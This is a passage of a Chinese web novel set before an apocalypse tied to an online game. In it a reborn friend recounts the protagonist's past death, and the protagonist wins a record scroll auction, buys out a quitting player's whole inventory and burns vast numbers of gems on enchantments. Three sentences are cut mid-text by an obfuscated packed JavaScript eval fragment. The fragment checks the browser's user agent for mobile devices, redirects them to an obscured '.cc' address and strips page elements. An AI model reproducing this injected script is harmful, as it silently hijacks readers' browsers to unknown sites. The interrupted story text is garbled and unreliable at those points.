“末世刚来的时候，我和你不在一个省，我后来一直尽可能地往你那边靠，但是辗转了好几个基地，也没打听到你的消息。” “不过我知道你肯定不会就那么死掉，所以我一直在找你想和你汇合。” “然后就在我……重生前一段时间，我接到了一个集体悬赏任务，去调查一个区域。” “然后我到了那之后发现你也接了这个任务，我们两个就汇合了。” “……” “然后我在那个任务里出事了？” “……嗯。” 陆燃无声地叹了口气，怪不得江朗那么破防，虽然他不管是什么时候死的江朗估计都会挺破防，但是十年了好不容易见到老朋友，刚沉浸在重逢喜悦之后，他就看着自己死去了，这对江朗的打击估计确实格外大一点。 但是该问的事还得问： “然后呢？” “然后……那个任务是这样的，末世开始后，陆续有人发现自己会撞进一些……嗯，该怎么形容呢，异次元空间一样的地方吧。” “但是又不是一个完整的空间，大家称这种地方为空间泡。” “因为这些地方有明显的边界感，远处会有那种……该怎么形容呢，贴图一般的感觉，很明显能感受到过不去，能活动的就只有一小块地方这样。” “这种空间泡内的污染物会特别强大，而且一旦进入，想出来的话就得杀死污染物，特别麻烦。” “好在后来大家研究出了怎么从外部判断哪里会出现空间泡。” “类似于做了一种污染探测装置吧，可以检测到污染度格外高的地方。” “然后各大基地就会进行悬赏，让一些比较厉害的异能者去解决这些空间泡。” “当时的研究者里有一种主流声音，大概是这些空间泡是异世界的入侵节点，我们这个世界的异变都是来自于这些节点。” “所以只要我们把所有的空间泡都消灭，世界就会恢复正常。” “很难说到底是不是真的是这样，但是有个盼头总是好的，所以我当时一直在积极接这些空间泡的悬赏任务。” “然后最后这个任务为什么聚集了很多人，导致我们俩都汇合了呢，因为那个空间泡有人消灭了其中的污染物，结果空间泡却并没有坍缩。” “他在里面困了两个多月，最后是莫名其妙出来的，然后出来之后就发布了这样一个任务描述。” “所以那个任务被标了相当高的难度，基本各个基地都挂上了这个悬赏，我当时一方面是觉得该去看看，另一方面也是觉得你很有可能会来。” “所以我就去了。” “……好像该说正题了，你是怎么……死的。” 江朗深吸了一口气。 “有个怪物，从你身体里长出来了。” 17. 第 17 章 他身体里长出了一个怪物？ 听起来真是不体面的死法。 陆燃若有所思。 江朗的声音里浮现出了极度的痛苦： “我当时第一反应是你被污染了，但是有游戏系统的人是不会污染的，这点所有人都知道！” 他似乎意识到了自己的语气有些过于激动，慢慢地放缓了语气： “我……重生回来之后，脑海里一直在反复播放那段画面，然后我意识到，你应该确实不是被污染了，那个怪物就是从你身体里长出来的，你的躯体和血肉都留在了地面上，和人变成污染物的过程很不一样，你和那个怪物应该是两个个体。” “所以，我当时一直在想，如果有复活道具的话，应该还是能把你救回来的。” “当时虽然知道有复活道具的存在，但是末世里复活道具的价格太高了，而且有价无市，我也没见到过。” “也许这就是我重生回来要做的事。” 江朗深吸了一口气：“反正你交易一下吧，这个遗物还是我来拿着。” 陆燃虽然有些别的想法，不过他还是先将东西交易了过去，江朗不把这件道具放在背包里，估计之后觉都睡不好，这比起是一件效果逆天的道具，更像是一个自带只针对江朗有效的安眠效果的道具。 其实这个遗物最大的作用，还是能让江朗稍微放心一点儿。 江朗把东西拿到手之后，声音明显轻快了许多： “你也不用太担心，我的异能很bug的，如果一切不变，我获得的异能和上一世一样，那我拥有的就是再生能力，只要不是同时被捅破心脏摘掉脑子，身体的任何部位就都可以再生，所以这个遗物放在我这里比较有用，因为我死不掉嘛。” 陆燃皱了皱眉：“你的异能是再生？” 江朗语气轻快：“嗯！很不错吧？” 不错吗？ 实用性来说当然是再好不过的了，甚至也某种程度上解释了江朗是怎么做到在末世生活了十年后还保留了他阳光开朗善良的那一面的，但是他这样的性格，又有了再生这样的异能……陆燃几乎可以想象出来他把这异能以吃饭喝水的频率使用的样子。 脑海中转过了数个念头，陆燃的表情与声线却几乎没有任何改变，他只是点了点头说：“好，那你拿着。” 然后他重新将目光投回了电脑屏幕上。 然后他发现，他们刚刚聊天这一会儿的功夫，又有一个重量级的特殊卷轴出现了。 “出[预言卷轴]，效果自己看，起价一万，直接世界频道出价，非诚勿扰。” [预言卷轴]：传奇预言家米勒随手留下的练习卷轴，可以预测一个月内任何指定事件。 不过简介里的效果一向和游戏里的实际效果有区别，还是得看下方的具体介绍。 这个卷轴一看就是专为PVE设计出来，毕竟对玩家没法预言。 果然，实际效果里写着，游戏里的“一个月”换算成实际时间就是一个副本的时间或者野外的两个小时。 主要用法有两种，用来预测一个副本的所有情况，或者预测指定世界Boss的出现地点。 这个卷轴一看就会有很多人打破头，世界Boss那个用法倒还好说，主要是前面副本的用法。 这个卷轴基本相当于一个任选副本的攻略了。 眼看着下赛季就要来了，高难副本更新在即，那些知名大团肯定都会争相出手抢这个预言卷轴，毕竟抢到就相当于自带攻略进副本，一点点信息差都能影响首杀花落谁家的区别，更何况这么巨大的信息差。 也难怪出手的人上来就敢报一万的底价。 对于那些顶尖玩家来说，赛季初高难副本的普通产出他们都会花上几千上万去争夺，更何况首杀奖励，于是—— “两万。” “四万。” “十万。” “十一万！” 一眨眼的时间，一万的底价就被抬上了十一万。 而且出来报价的都是本服眼熟的大人物，不是这个团的团长就是那个团的副团长的，很多都是常在论坛上发攻略所以为人所熟知的ID。 “十二！” “十五！” 竞价眼看着越来越激烈，大家甚至连万字都懒得打了，好像生怕自己多打一个字的功夫卷轴就会被别人抢走一样，还真别说，这些人可能比起自己想要这个卷轴，更多的想法应该是绝对不能落在其他团手里。 “二十万。” 陆燃终于摸到了键盘。 不过和上次不同，上次他猛然的抬价让竞价一瞬间中止了，但是这次，他打字的功夫，就让屏幕上距离二十万还比较远的十五万转眼间到了十九万，搞得他这二十万发出去就是为了刚好比十九万高一万的样子，而且他发的数字刚出现在世界频道里，其他竞价的人转眼间就跟上了，一转眼，价格已经被抬上了二十五万。 江朗也看见了世界频道：“我草，这什么神技！” 陆燃：“你要一起喊吗？” 这个卷轴基本不用担心江朗的仇家，他的仇家再有钱也不可能为了出口气和他抢这么高价的卷轴。 但江朗疑似还是在屏幕那头连连摇头，因为他的声音听起来突然有点“旋转感”： “不了不了，我有固定团的，别待会儿别人以为我在帮团长拍，我们那个固定团，我跟你说过吧，有个竞争团，不是我们首杀就是他们首杀的。” “我可以保证，如果最后场上就剩他们两家争的话，价格绝对会被抬到很恐怖的地步。” “因为对这两个团来说，自己拿不拿得到首杀是次要的，对方拿不到才是最重要的。” “你去喊比较合适，看见你这个局外人，他们可能就不会疯狂往上加了，反正卷轴被你拿走的话他们俩就还是公平竞争呗。” “我去喊价的话纯属喊个寂寞，我就不去了。” 陆燃：“原来如此。” “二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407243|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七万。” “27.5” “……” “29.7” “29.9” “30” “30.1” 转眼间，价格已经上了三十万，加价已经按千为单位了，而且加价速度明显已经慢了下来，因为包括陆燃在内，只剩下四个人还在喊价。 陆燃打出—— “31” 他问江朗：“你卡里还剩多少来着？” 江朗光速开始查询余额：“呃……我去，还真只剩三十多万了。” 陆燃：“我这还有点，别再往上加应该就够了，应该也不会往上加了。” 他想的是对的。 除他以外，剩下两个还在犹豫的团长其实都挂在自己团的YY频道里，而他们此时的频道都乱成了一团，两边的画风分别是这样的： “啊啊啊啊别加了别加了！都31万了落枫那个SB要是还加是冤大头吧！” “应该……应该不会再加了吧？” “其实再加可能我们也可以先缓缓？这个燃风好像是土豪，之前溢价收了很多奇奇怪怪的卷轴，估计落枫就算再加，他也会跟着再加的。” “嗯……嗯……希望……反正待会儿万一落枫加了，我们先看看这个燃风加不加，我不想真的花三十多万买个卷轴啊orz……” …… “我靠，怎么就加到三十一万了，不是，夜染那SB不是平时巨抠吗？三十多万买个卷轴疯了吧！” “团长，不是心疼的时候，这赛季的首杀夜染他们拿了，要是下赛季还是他们的话，以后我们就不是第一之一了，而是彻底变成老二了啊！” “但是……但是……那可是三十多万啊呜呜呜……” “不要慌，不要慌，也许他们不会再加了，而且就算他们再加的话，这个燃风好像是土豪中的土豪，我和土灵工作室有联系，他们说这个人直接要了五百张传送卷轴，夜染他们估计再加也加不过他的” “希望！！希望！！” “……” 两边都紧张难耐地盯着屏幕，希冀着对方不要再抽风往上加钱，就让这个突然冒出来的土豪把卷轴带走算了，于是，世界频道诡异地安静了会儿。 直到卖家说： “没别人了吧？那三十一万卖给燃风了哦，没有要的了吧？” “OK，哥们，来走廊门□□易。” 三方，包括陆燃和江朗在内都松了口气。 甚至世界频道的围观群众也忍不住松了口气——靠！有种见证了又一传说级交易诞生的感觉！ 从今以后不再只有隔壁服那卖出了五十万的时间系卷轴是风中的传说了！ 陆燃传送到幻月之庭那个名字巨长的总部门口，和卖方完成了交易。 眨眼间，他们两个人的卡里就只剩下了五万左右。 江朗：“靠！真得加快卖房速度了，我好害怕明天又出一个神卷轴。” 18. 第 18 章 江朗加急去卖房的时候，陆燃一边挂着烹饪技能的升级，一边写好了这次要卖的挂。 他以前一般走定制路线，比较低调，不太容易被盯上，不过现在急着要钱，干脆走薄利多销路线了。 他头一次感受到花钱如流水是什么意思。 氪个游戏太花钱了。 甚至他的装备还没到花钱大头的地方。 《神域》里的装备，基础属性是一回事，还有精炼属性。 用宝石可以对装备进行精炼。 在《神域》这个游戏里，装备精炼是最费钱，也最看运气的环节了。 一个装备总共能精炼15级，然后每次精炼都分为完美精炼，普通精炼，勉强精炼三种效果，其中得到完美精炼的概率可以由投入宝石的数量提升。 除此以外，更看脸的是每完美精炼三级可获得的附魔。 附魔分等级也就算了，而且还有各种各样的种类，如果遇上自己不满意的附魔可以洗，重新精炼那三级就行。 《神域》的主要氪金点就在此，能拉开战力的点也在此。 而且脸黑脸白的差距也在此，江朗身上那一套极品，他当初的精炼只花了十几万，算是欧皇中的欧皇了——不知道多少人直呼他肯定开了什么挂！ 虽然陆燃还没刷好一整套装备，但是他很清楚之后要花的宝石数目肯定不少，所以他从上线第一天开始就一直在持之以恒地去拍卖行扫荡宝石。 这两天也是这样，江朗在线的时候，他们就去刷野怪，江朗不在的时候，他就主城饭店和拍卖行两头跑，不是在练烹饪技能，就是在买烹饪材料然后顺便扫荡一下宝石，再看看有没有什么值得收进背包的东西。 因为刷烹饪技能基本是自动的，而且要花的时间蛮久，他三十分钟抬头看一次屏幕然后补充材料就行，就有很多时间来写挂。 今天也是如此。 然后他随缘地一抬头，就看见世界频道正在怨气丛生地抱怨： “我草，哪个缺德工作室啊，又在囤宝石吗？我已经快一礼拜没见过宝石的影子了！” “是啊我草！天哪！哪个缺德的这么坚壁清野式收购宝石啊，我去，就算想囤货等涨价，能不能也稍微给要用的人剩点，缺不缺德啊” “哥们你好有文化，还会用成语” 陆燃：…… 好像是他这么缺德。 “啊啊啊啊啊啊啊我也发现了，最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411934|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近完全买不到宝石啊，这不该是每天拍卖行有好几页的东西吗？？宝石呢？宝石呢？” “其实不是没有……就是被收得太快了，我刷拍卖行比较勤快，还是经常能看见有人挂宝石的，但是好贵啊！真的好贵！都快到原来的两倍了！然后我搁那心疼一会儿犹豫一会儿的功夫，转眼间这两倍价格的宝石也没了……好心痛，这日子要到什么时候才到头啊……” “是谁在收宝石啊，哪位土豪要精炼？请您手稍微松点，给我们剩点成不，哥们就等着最后一百颗赌最后一级附魔呢……” “真的是土豪在收吗？都没看见最近世界公告有人高强度洗附魔，是不是工作室啊？哪个丧良心的工作室准备哄抬物价吧？” “那哄抬了物价他们也得出啊，压根没看见有工作室出好吗” 陆燃：…… 他好像无意间造成了一场宝石经济危机。 他看了下自己背包里的存货，确实一次性买了很多，基本刷一次拍卖行买一次，但是这些肯定还是不够用的。 他现在囤的宝石数目，顶多够他到时候把所有装备精炼一遍而不多洗属性，至少还得再买一两个月才够用吧，只能委屈一下本服的玩家了。 19. 第 19 章 陆燃一边做事一边顺便上论坛闲逛，看看有没有什么重要资讯，然后他看见了这样一个帖子。 “x服，退游，清仓库，有没有要的” x服就是他们服，于是他点了进去。 进去一看，他直接给江朗发了个消息： “你那边房款什么时候到？来大活了” 江朗没多久就回道：“快了快了，还在过户，好像说还要一周这样，什么大活？” 陆燃直接把这个帖子给江朗发了过去。 江朗：“我去。” 确实大活，这个退游玩家，直接列出了全背包和全仓库的存货，里面有各种稀奇古怪的卷轴和各种稀奇古怪的遗物，还有排得密密麻麻的高级红蓝药和各种道具。 最显眼的还是卷轴吧。 个别几个效果极其特殊的，被他在帖子里列了出来，有那么一瞬间，陆燃和江朗都非常怀疑，他们服此前的特殊卷轴是不是都被这个人收走了。 虽然这么说略显夸张，但用王之宝库来形容这个玩家的仓库绝对是没什么问题的。 “价格就列在下面，想要什么就给我私信，但是不要单买100块以下的东西谢谢，我懒得为这么点钱上线” 陆燃直接光速给他发了个私信： “别卖给别人，我全要了，至少卷轴和遗物全要了” 对面好几分钟没动静，虽然知道大概率是对面现在有一堆私信要看还没看到他的，但是他还是又发了一条： “你好，在吗？遗物和卷轴我全都要，还没有出给别人吧？” 这次过了一分钟不到，对面回了。 “？” “真的吗？” “哥们你不要诓我，我真的会信” “真的全要” “这些东西加起来要一百五十万哦，我给你打个折估计也就打到一百四十万吧，你真的是认真的吗？” “真的” “……” “行，你等一下我去帖子里说一声，这破论坛，平时没感觉这么多人啊” 陆燃松了口气，幸好这个号主看起来是个很怕麻烦的人，大概是觉得一次性出给他比慢慢卖容易多了。 他也切回了帖子的界面。 底下大部分回帖还在感慨这个号主真是王之宝库。 “我去，终于见到土豪的背包和仓库是什么样的了” “我的个妈，哥，我能不买但去围观一下交易吗？您在哪卖？” [楼主]：“出完了哈，不用再给我发消息了” “？？？这么快？？不是，我们论坛有这么多人吗？我们游戏又有这么多人吗？” “我去！！真的假的？这年头有钱人这么多？原来真的就只有我一个穷人” “？什么神速？看了一眼，这帖子不是刚发十分钟吗？不是，那些比较抢手的东西卖出去了也就算了，怎么做到全清完了的？” [楼主]：“有人全包了，所以真的别给我发消息了哈，什么都不剩了” “？？？？？？？” 底下跟了一大堆除了问号什么都没有的发帖。 然后终于有人说话了。 “我去？全包？？” “原来不是很多有钱人，是一个有钱人” “omg，什么土豪？谁能帮我算算这全部加起来要多少钱啊，猪脑子算不动了” “一百五十万” “我草？？？？” “夺少？？！” “我草我知道会很贵但我不知道会这么贵！” “天哪……” 楼主发完言，就回私信来跟陆燃继续说话了： “哥们你真的不要弧我哦，我都闭贴了，到时候如果还要重开一个的话真的很麻烦……” “不会弧你的，但是还要一周时间才能交易可以吗？” “？这句话听起来就很有弧我的感觉” “房子过户还要一周” “我草” “哥们你不会为了买我这个号的东西还特意去卖房吧！不要这样啊！我好害怕” “……不是，是本来就要卖房，然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422660|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后看见了帖子” “哦哦哦……吓死我了，差点以为自己要罪大恶极了” 陆燃本来想约定好交易时间和地点然后加个对方的联系方式就下线，不过他想了一下还是说： “你真的要退游吗？其实现在退游不太好” “嗯？为什么不太好？” 号主开始冥思苦想起来，赛季中期退游不是很正常吗？该玩的都玩完了，每天上线就剩上班环节了，就该这时候退游啊！ 他很好奇对面会给出什么样的理由。 然后他就看见了这么一句。 “其实” “其实？” “马上末日就要来了，游戏系统可以跟进末日里，所以其实你最好稍微给自己留一点东西” “……” 号主一边发“……”一边觉得自己脑门上真的冒出了一排“……”。 “哈哈，哥们你很幽默” 他想着，算了，至少对方免了他一个一个出道具的悲剧，还是捧场笑一笑这个冷笑话吧…… “我没有在开玩笑，你可以给自己稍微留一点东西，红药蓝药这些的，价格不变，我会照付的” “？” 号主有点摸不准对面什么心思了，于是稍微认真地回复了一下： “其实我就是单纯看这一背包东西烦，因为它们会提醒我我在这游戏上浪费了多少时间” “你都退游了，为什么还会看见” “……你说得好有道理，那，那我稍微留点便宜东西吧” 他倒是没什么所谓，感觉这个老板可能有点怪癖，不过只要买东西够爽快，他也不介意尊重一下对方的怪癖，反正本来一个个出的情况下，也不可能把东西全出完。 “那……呃？一周后你联系我？” 陆燃：“好。” 他转头就向江朗转达了交易成功的消息，顺便跟他说了一下他劝动了号主不要把东西全清空，至少给自己两组红药蓝药，真是积德。 江朗：“！” 江朗：“好好好！” 20. 第 20 章 “老板，下周还约吗？” 从副本里出来，团长热情地询问陆燃，并且觉得自己好像有点没专业素养，是不是该搞个本子之类的记录老板每周出的东西呢……他记性不好啊，其实已经完全忘记燃风老板前两周出了什么了。 燃风：“嗯，还没出完，还差武器图纸和下装主材料，你找不缺这两个的老板拼一下吧” “！！！好的老板！” 团长默默在企鹅拿消息记录了一下，然后顺便问： “接下来就该精炼了吧？老板缺精炼材料不？最近宝石难买，不知道哪个缺德工作室在囤货，我这里倒是有不少，每次下完本都懒得去出，堆了一背包” [燃风]：“……” [燃风]：“其实，不是缺德工作室在囤，是我在囤宝石” 团长：…… 团长一阵擦汗，无比希望这游戏的聊天系统有撤回功能。 “哈哈，老板真是未雨绸缪……好有先见之明” [燃风]：“^_^” 团长光速下线，离开了这个游戏。 陆燃看了眼手机，发现江朗刚刚正兴奋地给他发了一大堆消息——他那套小房子过户终于过完了！ 交易完成！房款到账！ 于是陆燃立刻联系了之前那个卖家。 卖家正等得抠脚，并且间歇性就要怀疑一下自己是不是要被弧了，看见交易继续，总算松了口气，忙不迭地上了号，打算赶紧把这桩心事了了。 “那我留一组红药一组蓝药？” 卖家在幻月之庭总部门口和陆燃碰了头。 [燃风]：“你多留点吧，哦，等一下，我这边给你交易几组食物小药” 卖家：“？” 怎么还有反向交易？ 陆燃抱着日行一善的心态，给他塞了好几组食物类小药，加血的加蓝的加防御的加攻击的，应有尽有，他刷烹饪经验的时候，刷了非常多，之后反正也还要再刷，正好交易几组出去清格子。 于是，卖家就一脸懵地看见自己除了红蓝药全清空了的背包里又多了几组食物。 好……好吧…… 老板开心就行。 “剩下的在仓库，你先转一部分钱过来吧” “OK” 两个人一边往仓库那边挪，陆燃一边给这个卖家转了背包里物品对应的钱。 然后两个人又在仓库门□□易了好几次，这玩家仓库里东西实在太多了，陆燃交易了三四次之后，自己仓库满了，就上江朗的号继续。 然后终于全搞定了。 “okok，舒坦了，拜拜拜拜” “[再见]” 卖家神清气爽地下线了，陆燃搞定这边的交易，则顺路去了趟武器锻造铺，这周又出了几个图纸和材料，现在只剩武器和下装没法锻造了。 花了点时间后，他的装备鸟枪换炮，该精炼了。 《神域》中精炼成功率和能获得的精炼等级与宝石的投入量密切相关。 比如，极端情况下，假设一个玩家只用一枚宝石去精炼他的装备，那么99%的概率是得到“勉强精炼”的效果，0.9%的概率得到“普通精炼”的效果，只有0.1%的概率得到“完美精炼”的效果，有实在闲得没事做的玩家试过了——真正的纯随机，不是你拿一颗宝石不停试一百次就能逼出那0.1%的概率的。 但如果将宝石数量拉满，放入可放入的上限100颗，这时候完美精炼的概率提升到了最高，但最高是50%，这里就能看出《神域》的抠门之处了。 50%的“完美精炼”概率，49.9%的“普通精炼”概率，以及0.1%的“勉强精炼”概率。 陆燃直接在精炼框里放入100宝石。 普通精炼。 好吧，他运气一向普通，对他来说这算很正常的开局。 再放入100宝石。 完美精炼。 不错，刚好满足50/50的概率，他很满意了。 普通精炼。 完美精炼。 “恭喜你获得普通附魔——[加速]” 很普通的加速附魔，品质还是最低的普通，符合他的运气。 直接洗。 又是五百宝石下去。 没什么用的低级防御附魔。 这就是陆燃为什么当时直接扫了整个拍卖行的宝石并且后续也在持之以恒地进行日常扫荡的的原因了。 好的附魔难出，不知道要洗多少次才能出让人满意的附魔。 陆燃面无表情毫不心疼地又往精炼格子里一百一百地扔宝石，这次格外非，花了七百才完成三级完美精炼，也许有时候就是非得用霉运中和一下—— “恭喜玩家陆燃获得珍稀附魔：[防御]” 世界公告上闪过一条金灿灿的公告。 可惜这附魔虽然是珍稀级的，却是防御附魔，虽然在现实世界点满防御也不失为一个好主意，但是《神域》有太多防御的上级替代属性了，比如最基础的生命魔法实际上就比同级的防御魔法在实战中效果要好的多。 甚至还存在一定比例的免伤附魔，这可比防御强多了，更夸张的是还有持续几秒的无敌附魔。 所以大家都非常嫌弃这个老出来污染抽奖池子的防御附魔。 更重要的是，根据江朗所说，在现实世界里，精炼满级的游戏装备本身提供的防御和生命就已经挺高了。 江朗说，他这号在游戏里算脆，毕竟他完全不打PVP，装备全是堆的伤害，但现实里却已经算蛮肉了。 他当初觉醒了再生异能之后，其实一开始完全没用上，因为没异能也没系统的普通人很难破他的防，拿猎枪——假设对方准头很好——直击他心脏或者头部，也只会掉六分之一血的程度，完全有时间嗑药嗑回来。 最初的污染物攻击力也一般，打他跟挠痒痒差不多。 至于碰上同样有系统或是高强度异能的人，那就是和游戏里差不多的情况。 游戏系统提供的那点防御是不够用的，拉满也就那样。 毕竟如果拉满真有用的话，游戏里就该有走纯粹龟壳流的玩家了。 《神域》的数值还是经得起计算检验的。 总而言之，防御是个非常垃圾的附魔，直接洗了就完事了。 一千八宝石下去。 普通附魔。 又一千八。 普通附魔。 普通。 普通。 普通。 “恭喜玩家燃风获得珍稀附魔：[生命]” 刚说完生命附魔勉强比防御附魔强点，生命附魔就来了。 陆燃：…… 说好的《神域》有新手运气保护呢？论坛上经常有刚玩神域没多久的新手随便一精炼就出极品附魔的传说，怎么他就没有这个待遇？ 虽然他已经不是新手了，严格来说还是开服就注册了的老玩家，但是他的上线在此之前一直可以用“三天打鱼两天晒网”来形容，甚至还直接A了大半个学期，《神域》就不能挽留一下他这个游离的玩家吗？ “恭喜玩家燃风获得珍稀附魔：[防御]” 陆燃：…… 如挽。 陆燃只能庆幸自己扫荡的宝石够多，不枉他每天扫拍卖行扫得全服其他人这段时间都买不到宝石了只能自己努力去打，他就知道不能高估自己的运气。 他连续不断地刷新附魔终于引起了世界的注意。 “又是哪位土豪在抽附魔？这都几个珍稀了？” “这你都不认识？我服无冕PVP之王啊，曾经以四十级的角色把某‘高手’溜到死的神人” “其实这个高手不用打引号的，火之哀伤还真的是高手，就是倒霉撞在这位佬手里了而已，其实换谁来都一样颜面扫地的” “我去，我才多久没上线啊？这位佬居然把这号练起来了已经？？” “你睡醒啦？好久之前了都，佬就是佬，出手非凡，上来就直接广告天下收经验书直升满级，这操作你见过没？” “……这操作我真没见过” “佬甚至已经有新战绩了，刚升上满级就直接以一敌众，把来副本门口堵他的人反堵了，论坛还有录屏呢，没看过的可以去看看，巨帅” “有点非啊这位佬” “还行吧其实，我每次抽附魔也这鸟样，每次都让我沉思我辛辛苦苦攒宝石是为了什么” “哥们，那你也有点非，这不是正常情况” “草……！真的吗？！” “骗你干啥？” “又刷了一个珍稀，我去，我什么时候才能这样土豪地一次性抽这么多次附魔，好羡慕” “怎么又是防御，防御附魔真的鼠了，我已经感同身受地红温了” “为啥要红温，别人的痛苦不就是自己的快乐吗？” “有谁在计数吗？几个了？” “8” “八个” “我去，有谁算算这大概要多少宝石吗？” “按最近的宝石价格算，换算成人民币的话，这几分钟的时间已经蒸发了几千了” “不赖，这就是我们神域的附魔系统” “恭喜玩家燃风获得珍稀附魔：[3s无敌]” “！！！我去！出了！！” “卧槽！！卧槽卧槽！！上来就开到无敌，真的无敌了！！” “啊啊啊啊终于！我比我自己出货了还激动是怎么回事！” “啊啊啊啊不容易啊！！” “我去，我蹭，我狂蹭，下次也给我出个啊混蛋神域” “恭喜玩家燃风获取珍稀附魔：[40%免伤]” “卧槽！又一个！” “妈呀，无敌附魔，高级免伤附魔，我流口水了了，不过给大佬好像没什么用，有谁能摸到他的衣角吗（笑” “恭喜玩家燃风获取珍稀附魔：[防御]” “恭喜玩家燃风获取珍稀附魔：[生命]” “好的，这才是我熟悉的抽卡，吓死我了，差点就要手痒也去试了” “只有我的重点在于，佬居然还在抽吗？” “呼叫计数君，呼叫计数君，多少个了？” “12” “12，按照期望来算，花了有快小一万了吧，其实还好，不是经常有土豪砸几万抽一套附魔的吗？” “但是有谁是这么连续性一次抽的吗？看着太刺激了” “突然打消了我努力肝附魔的冲动，果然我这种穷狗还是出啥用 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“至少本服神秘失踪的宝石们的去向终于明了了，我还以为是工作室囤货呢，感情真的是有土豪在溢价收（” “我现在就去打宝石，有没有一起的，我感觉佬这样下去可能宝石还不够用” “我现在的嘴巴已经保持O这个形状很久了” “还在抽还在抽” “您好，新的计数君向您报道：48” “我就打个字的功夫50了，好吧，我等他休息了再报数” 可惜，他的期待落空了，燃风这个ID丝毫就没有要休息的迹象。 世界上的围观群众的反应，也从一开始的震惊非常，随时随地都在换算他花了多少了，变得逐渐平淡了起来。 到最后所有人都已经麻木了，现在不是他抽了多少次附魔的事了，而是他已经抽了整整一个小时了。 “散了吧散了吧，有这时间做点啥不好，哥几个都散了吧，感觉大佬今天要血战一晚” “其实我都记不住他到底出了哪些附魔了” “我也记不住，我能直说吗？我本来是打算记住他选的每一个附魔然后以后有机会挑战他的” “虽然他啥装备都没有的时期我都不一定打得过他（” “但是我现在虽然记了一大堆数据，却完全推测不出他到底会选哪些，好无助” “我觉得出的附魔里有不少都很不错啊，不是，佬的要求是有多高啊，现在还在洗？” “他停了！他是不是停了！” 有人喊出这句话之后，世界频道诡异地寂静了一会儿，像是一群人在小心翼翼地观察燃风到底是真的停止了抽卡的步伐，还是单纯只是他太非了导致这一段时间没有公告出现在世界频道而已。 “好像……真的停了诶” “上次看见公告是三分钟前，应该就是停手了吧” “阿祖你终于收手了，我能说明明不是我在花钱但是我围观得都好心疼吗？我真是穷鬼入脑到没救了” “有没有谁还在统计？” “当当，终于轮到我出场了，玩家燃风共计抽取附魔1h16min，抽取珍稀附魔156个，按照期望计算大约花了12w人民币” “我了个大去” “妈呀” “卧槽” “我滴天” “omg” “亲娘咧” 一片口音各异的惊呼中，世界频道突然闪过了一条交易消息： 燃风：“收宝石，有多少收多少” 由于世界频道现在刷消息的速度太快，所以陆燃这条消息刚出来的时候直接被刷没了，不少人在屏幕前揉了揉眼——总感觉刚刚有什么东西刷的一下过去了，是他们看错了吗？ 陆燃拍了下脑袋——他差点忘记了。 于是他买了个一元小喇叭： “收宝石，有多少收多少” 这下，那些本来以为嗖的就过去了的燃风收宝石消息是自己的错觉的玩家们，终于看清了。 一时间： “……” “……靠” “……靠！原来佬不是收手了！是没宝石了啊！” 是的，陆燃成功地把自己这段时间扫荡而来的宝石全用完了。 他刚刚研究了一下自己这波“抽卡”的成果。 其实还不错，现在大部分位置的附魔都挺不错的。 如果是常规玩家的话，能抽成这样应该就差不多可以收手了，不过对于陆燃和江朗这种决心把钱都在末世来临前花完的不计代价搞好这两个号的人来说，就还有精进的空间。 “这就显现出我刚刚努力去打宝石的先见之明了，佬你在哪，报个坐标我去给你送宝石，虽然我只有一颗，但是一颗也是宝石，您应该不会嫌弃的对吧[星星眼]” “坐标走廊后门门口，仓库边，不限数量，有多少收多少，我不挑，全都市价两倍收” “我草多少？” “是指现在的市价两倍吗？？？？” “那就是正常价格四倍？” “好的，我这就去打宝石！佬你等我！” 21. 第 21 章 陆燃在仓库旁站了会儿，很快就来了一大□□易的人，因为他在世界上说了一块两块的也收，无所谓是不是三瓜俩枣，所以他还真又从这个已经几乎被他榨干的服里薅出了不少宝石。 一边收一边用，等没人再千里迢迢给他送刚打出来的宝石的时候，陆燃看了眼他今天的成果。 有几个特别极品的，其他的总体也都满意。 比如他刷出了3s无敌，很好用，更重要的是可以覆盖一次他的技能真空期，虽然装备附魔的冷却时间很长，长达12h，但是能覆盖一次真空期也可以让他的纯控制时间瞬间飙升至接近30s。 还刷出了40%免伤。 这两个附魔应该算是防御类附魔里的顶配了。 生命类的刷出了吸血效果附魔，虽然还有更高配的，不过陆燃觉得吸血效果也不错，就没继续刷。 攻击和辅助类的刷出了真伤，减速，和减防，这个减防附魔和他心灵震荡的减防效果叠加起来能达到40%，他打算拿来配合心灵震荡使用，所以虽然减防不算优先级很高的附魔也被他留了下来。 减速在游戏里其实也不算特别重要的附魔，但是考虑到现实中速度在战斗中的重要性，他也保留了这个不算特别极品的附魔。 其他七七八八的属于能用但还可以再洗，但是没宝石了，先放着再说，不再洗其实也够用。 